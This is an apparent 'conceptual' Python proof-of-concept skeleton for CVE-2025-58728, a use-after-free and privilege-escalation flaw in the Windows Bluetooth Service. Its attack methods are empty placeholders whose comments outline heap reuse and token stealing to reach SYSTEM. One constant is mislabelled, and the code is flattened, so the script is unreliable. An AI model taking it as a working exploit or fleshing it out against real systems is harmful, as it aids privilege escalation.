The following code is for security research and authorized testing only.
python
# CVE-2025-58728 Windows Bluetooth Service UAF Vulnerability PoC (Conceptual)
# This is a conceptual proof-of-concept for the Use After Free vulnerability
# in Windows Bluetooth Service. Actual exploitation requires specific knowledge
# of the target system's memory layout.
import ctypes
import struct
import os
import sys
# Check if running with appropriate privileges
def check_privileges():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
# Bluetooth API constants
BLUETOOTH_SERVICE_GUID = "{0000180F-0000-1000-8000-00805F9B34FB}"
class BluetoothUAFExploit:
def __init__(self):
self.handle = None
self.allocated_buffer = None
self.freed_buffer = None
def initialize_bluetooth(self):
"""Initialize Bluetooth service connection"""
# Attempt to open Bluetooth service handle
# This step requires Bluetooth hardware support
try:
# Placeholder for Bluetooth initialization
print("[*] Initializing Bluetooth service...")
return True
except Exception as e:
print(f"[-] Bluetooth initialization failed: {e}")
return False
def trigger_uaf(self):
"""Trigger the Use After Free condition"""
# Step 1: Allocate memory through Bluetooth service
# Step 2: Force the service to free the memory via malformed request
# Step 3: Reallocate memory with controlled data
# Step 4: Access the dangling pointer to achieve code execution
print("[*] Attempting to trigger UAF in Bluetooth Service...")
# Conceptual implementation - actual exploit requires
# detailed knowledge of Windows Bluetooth driver internals
pass
def elevate_privileges(self):
"""Elevate privileges to SYSTEM level"""
print("[*] Attempting privilege escalation...")
# After successful UAF exploitation, execute token stealing
# to elevate from current user to NT AUTHORITY\SYSTEM
pass
def main():
print("=" * 60)
print("CVE-2025-58728 - Windows Bluetooth Service UAF PoC")
print("For authorized security testing only")
print("=" * 60)
if not check_privileges():
print("[!] Note: Initial access requires low-privilege user account")
exploit = BluetoothUAFExploit()
if exploit.initialize_bluetooth():
exploit.trigger_uaf()
exploit.elevate_privileges()
else:
print("[-] Failed to initialize. Ensure Bluetooth is enabled.")
sys.exit(1)
if __name__ == "__main__":
main()